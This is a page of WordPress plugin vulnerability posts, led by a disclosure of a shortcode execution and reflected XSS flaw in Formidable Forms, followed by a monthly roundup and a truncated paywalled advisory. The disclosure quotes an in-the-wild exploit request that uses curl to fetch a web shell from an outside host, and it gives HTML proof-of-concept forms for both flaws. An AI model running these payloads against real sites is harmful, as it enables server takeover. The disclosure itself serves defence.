09 Nov

Vulnerability Details: Shortcode Execution Vulnerability in Formidable Forms

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

When Robert Mathews disclosed that an authenticated remote code execution (RCE) vulnerability that had been in the plugin Shortcodes Ultimate was being exploited his description of the issue also indicated that there has been a vulnerability in the plugin Formidable Forms:

This is a simplified version of an exploit I saw this morning, which didn’t require a contributor role account because it took advantage of the fact that another plugin (“Formidable Forms” accepts untrustedinput and passes it to do_shortcode(). That looked like this:

POST /wp-admin/admin-ajax.php HTTP/1.1

action=frm_forms_preview&form={‘asdf-asdf’}&before_html=[su_meta key=1 post_id=1 default=’curl http://sazinco.ir/wp-content/shell.txt > ../wp-content/upoad.php’ filter=’system’]&custom_style=1

When we went to look into that, we were not able to get that to work in the current version of the plugin. We couldn’t find any recent disclosures of vulnerabilities in the plugins that could explain that. We did notice that last couple of updates had security fixes listed in the changelog, but neither of them seemed to match the issue based on their description.

After looking closer at the current version and not seeing anything in that could explain how POST input sent in that request could have been utilized by the plugin, but noticing something else that we will get to in a separate post, we notified the developer of that disclosure and that other issue. The developer responded that the disclosed issue had been resolved in 2.5.0.2, which was released on October 25. After getting that information, one entry in the changelog for that version stood out:

Fix: XSS vulnerability on form preview page. Don’t check POST values before displaying the form

It turns out by “don’t check POST values”, they really meant don’t use them, which is what was causing the issue.

What seems to be relevant change is in the function setup_new_vars() in the file /classes/helpers/FrmEntriesHelper.php where the following code:

67
68
69
70
foreach ( $form->options as $opt => $value ) {
	$values[ $opt ] = FrmAppHelper::get_post_param( $opt, $value );
	unset($opt, $value);
}

was replaced with the following code in 2.5.0.2:

64
$values = array_merge( $values, $form->options );

That causes the POST inputs’ values to not be used when creating a preview of a form.

In prior version it was possible to execute shortcodes through that as well as use it to cause reflected cross-site scripting (XSS) to occur on the form preview page.

The preview form preview can be accessed through WordPress’ AJAX functionality by those not logged as well those logged in, which we will be the focus of an upcoming post:

add_action( 'wp_ajax_frm_forms_preview', 'FrmFormsController::preview' );
add_action( 'wp_ajax_nopriv_frm_forms_preview', 'FrmFormsController::preview' );

Since this vulnerability is being exploited, we have made this vulnerability details post public (unlike most of them that are limited to our customers) and we are also adding the vulnerability to the free data that comes with our service’s companion plugin, which it would probably be a good idea to be using even if you don’t use our service.

Proof of Concept for Shortcode Execution

The following proof of concept will cause a specified short code to be executed.

Make sure to replace “[path to WordPress]” with the location of WordPress and [shortcode]” with the shortcode to be executed.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=create" method="POST">
<input type="hidden" name="action" value='frm_forms_preview' />
<input type="hidden" name="form" value="{'contact-form'}" />
<input type="hidden" name="before_html" value="[shortcode]" />
<input type="hidden" name="custom_style" value="1" />
<input type="submit" value="Submit" />
</form>
</body>

Proof of Concept for Reflected Cross-Scripting (XSS)

The following proof of concept will cause an alert box with the message “XSS” to be shown. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=create" method="POST">
<input type="hidden" name="action" value='frm_forms_preview' />
<input type="hidden" name="form" value="{'contact-form'}" />
<input type="hidden" name="before_html" value="<script>alert('XSS')</script>" />
<input type="hidden" name="custom_style" value="1" />
<input type="submit" value="Submit" />
</form>
</body>
01 Aug

What Happened With WordPress Plugin Vulnerabilities in July 2017

If you want the best information and therefore best protection against vulnerabilities in WordPress plugins we provide you that through our service.

Here is what we did to keep those are already using our service secure from WordPress plugin vulnerabilities during July (and what you have been missing out on if you haven’t signed up yet):

Plugin Security Reviews

Customers of the service can suggest and vote on plugins to have a security review done by us. This month we released details for a review of:

Plugin Vulnerabilities We Discovered and Publicly Disclosed This Month

We don’t just collect data on vulnerabilities in plugins that others have discovered, we also discover vulnerabilities while monitoring hackers activity, reviewing other vulnerabilities, and by doing additional checking on the security of plugins.

This month the most concerning vulnerability is a PHP object injection vulnerability in Product Reviews, since that type of vulnerability is likely to be exploited and the vulnerability hasn’t been fixed yet.

Plugin Vulnerabilities We Helped Get Fixed This Month

Letting you know that you are using a vulnerable version of plugin is useful, but it is much more useful if you can fully protect yourself by simple updating to a new version. So we work with plugin developers to make sure that vulnerabilities get fixed. This month we helped to get vulnerabilities fixed in plugins that have 702,300+ active installs:

Plugin Vulnerabilities Added This Month That Are In The Current Version of the Plugins

Keeping your plugins up to date isn’t enough to keep you secure as these vulnerabilities in the current versions of plugins show:

Additional Vulnerabilities Added This Month

As usual, there were plenty of other vulnerabilities that we added to our data during the month. Most of the new vulnerabilities that were fixed this month are relatively minor.

10 Jul

Vulnerability Details: Authenticated Arbitrary File Viewing Vulnerability in Shortcodes Ultimate

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

An advisory was released by the JPCERT/CC and IPA that an authenticated arbitrary file viewing vulnerability had been fixed ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.